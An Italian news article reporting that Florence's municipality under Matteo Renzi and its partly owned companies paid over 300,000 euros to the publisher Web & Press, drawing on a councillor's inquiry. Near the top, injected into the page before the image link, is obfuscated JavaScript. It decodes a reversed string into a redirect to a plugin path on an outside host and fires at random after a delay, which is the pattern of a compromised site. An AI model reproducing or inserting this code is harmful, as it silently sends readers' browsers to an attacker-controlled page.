Renzi contro i finanziamenti pubblici ai giornali. Ma ai suoi amici i soldi arrivano in altro modo

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2012/04/renzi.jpg”>Matteo Renzi urla contro il finanziamento pubblico all’editoria ma trova il modo di elargire oltre 300.000 euro ad un solo editore amico, la Web & Press che pubblica un giornale gratuito (sic) che porta il verbo renziano in tutte le case dei fiorentini.

Lo ha scoperto la consigliera Ornella De Zordo, della lista di cittadinanza perUnaltracittà, con una interrogazione che ha costretto l’amministrazione fiorentina a svelare le carte su una modalità di gestione del denaro pubblico fino ad oggi rimasta nell’ombra. Ecco i dettagli dei finanziamenti, fatti avere alla Web & Press grazie al reticolo di aziende partecipate dal Comune di Firenze.

Il Comune ha usufruito direttamente dei servizi della W&P per 79.568 euro nel 2009; 97.021,20 nel 2010; 19.699,75 nel 2011. Inoltre l’editore di riferimento di Renzi ha ricevuto da Toscana Energia S.p.a. 5.000 euro nel 2010 e 25.275 nel 2011 (su diretta richiesta del Comune), da Mukki Latte 3.600 euro nel 2009 e 10.500 nel 2011, da Pubbliacqua S.p.a. 34.999,98, da Firenze Parcheggi S.p.a. 8.171,64 nel 2009 e 7.265 nel 2010, da SAS Servizi alla strada S.p.a. 15.180 nel 2010. Il totale dal 2009 ad oggi: 306.280,57 euro.

Nella cronaca de “Il Sito di Firenze” la ricostruzione della vicenda a seguito dell’esito dell’interrograzione di Ornella De Zordo.

“Per capire l’importanza di questi dati è necessario fare un passo in dietro. Poche settimane fa, nel pieno della scandalo Lusi, Franco Bechis pubblicò su Libero alcune fatture, a sua detta, pagate dall’ex tesoriere della Margherita per le inziative politiche di Renzi. Fioccarono subito le smentite e le minacce di querele. Bechis non ha mai ritrattato, Lusi intervistato da Santoro confermò di aver finanziato Matteo Renzi, Renzi rismentì e annunciò che a giorni avrebbe pubblicato l’elenco dei suoi finanziatori (elenco ad oggi non pervenuto). La Web & press confermò di aver lavorato per Renzi, ma specificò che quelle fatture erano per altri servizi a altri candidati della Margherita. Nessuno ha mai saputo che servizi e che candidati. Tra i servizi svolti dalla Web & Press per Renzi nelle campagne elettorali pare ci sia anche la realizzazione di “Prima Firenze”, il discusso quotidiano free-press che i sostenitori di Renzi distribuivano nei mercati. A Dirigere il giornale era Francesca Padula collaboratrice di Tabloid (fornitore di contenuti di riferimento della Web&Press) e oggi nello Staff di Renzi. Moltissimi dei “volontari” che scrivevano gli articoli su Prima Firenze, erano anche collaboratori di Tabloid. Il Consigliere Regionale del PdL Giovanni Donzelli, da anni “a caccia” dei finanziatori di Renzi aveva chiesto pubblicamente (senza ottenere risposta) se chi aveva scritto per Prima Firenze aveva ricevuto compensi dalla Web & Press per quelle prestazioni. I fondatori di Tabloid sono ad oggi tutti nei vertici della comunicazione di Palazzo Vecchio. Tra questi anche Marco Agnoletti come portavoce del Sindaco e Giovanni Carta che nella campagna per le primarie aveva fatto da portavoce all’avversario Pistelli. In molti si sono chiesti con quali fondi Renzi abbia saldato i servizi di Web & Press per le primarie e non solo.”

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